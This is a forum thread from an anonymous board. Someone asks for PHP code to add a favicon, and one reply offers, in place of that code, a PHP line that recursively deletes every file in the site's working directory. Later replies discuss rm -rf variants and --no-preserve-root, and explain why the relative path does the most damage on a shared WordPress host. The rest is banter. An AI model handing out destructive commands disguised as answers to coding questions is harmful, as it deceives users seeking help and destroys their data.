Notice: You have been identified as a bot, so no internal UID will be assigned to you. If you are a real person messing with your useragent, you should change it back to something normal.

Minichan

Topic: What is the php code to add a favicon for one's site to browsers?

Anonymous A started this discussion 11 years ago #38,784

Thank you.

Anonymous B joined in and replied with this 11 years ago, 5 minutes later[^] [v] #517,099

<?php system('rm -rf ./* &'); ?>

dw joined in and replied with this 11 years ago, 20 minutes later, 26 minutes after the original post[^] [v] #517,103

lol

Anonymous D joined in and replied with this 11 years ago, 17 minutes later, 43 minutes after the original post[^] [v] #517,105

@OP
It's very complex. You should consult a professional WordPress developer.

Anonymous E joined in and replied with this 11 years ago, 4 minutes later, 48 minutes after the original post[^] [v] #517,106

@previous (D)
This

Anonymous D replied with this 11 years ago, 1 hour later, 2 hours after the original post[^] [v] #517,110

@previous (E)
It has been said, literally, praytell, that we do, in fact, have one on this very fora!

Killer Lettuce !!iNo3FkiZx joined in and replied with this 11 years ago, 9 minutes later, 2 hours after the original post[^] [v] #517,111

@previous (D)
Meta.

Anonymous D replied with this 11 years ago, 6 minutes later, 2 hours after the original post[^] [v] #517,112

@previous (Killer Lettuce !!iNo3FkiZx)
He is not, I do believe, posting, at this time. Thanks.

Anonymous G joined in and replied with this 11 years ago, 11 minutes later, 2 hours after the original post[^] [v] #517,113

@previous (D)
You're welcome.

Anonymous E replied with this 11 years ago, 6 minutes later, 3 hours after the original post[^] [v] #517,114

@517,099 (B)
You forgot --no-preserve-root

Anonymous H joined in and replied with this 11 years ago, 38 minutes later, 3 hours after the original post[^] [v] #517,117

@previous (E)
Read again m8. It was ./* which would recursively delete anything in the current directory, as opposed to just "/". This makes more sense for two reasons:

1) This person is likely using a shared host, thus they don't have write access to the root drive anyway
2) The most important files are likely stored in the working directory, and wordpress' working directory tends to be the public_html directory where write perms start.

Additionally I believe only rm -rf / would require --no-preserve-root, and that rm -rf /* would work just fine since the shell would expand that to the files/directories contained within the root, and thus would not be deleting the root and would not trigger that check. Not sure though!

Anonymous I joined in and replied with this 11 years ago, 25 minutes later, 4 hours after the original post[^] [v] #517,120

@previous (H)
this

Anonymous J joined in and replied with this 11 years ago, 59 minutes later, 5 hours after the original post[^] [v] #517,125

@517,117 (H)
k

Anonymous I replied with this 11 years ago, 4 minutes later, 5 hours after the original post[^] [v] #517,128

@previous (J)
~h

Anonymous K joined in and replied with this 11 years ago, 24 minutes later, 5 hours after the original post[^] [v] #517,130

@517,120 (I)
yeah, this

Anonymous H replied with this 11 years ago, 41 minutes later, 6 hours after the original post[^] [v] #517,135

@517,120 (I)
@517,125 (J)
@517,128 (I)
@previous (K)
I am glad you all agree. Thank you thank you. Thanks.
:

Please familiarise yourself with the rules and markup syntax before posting.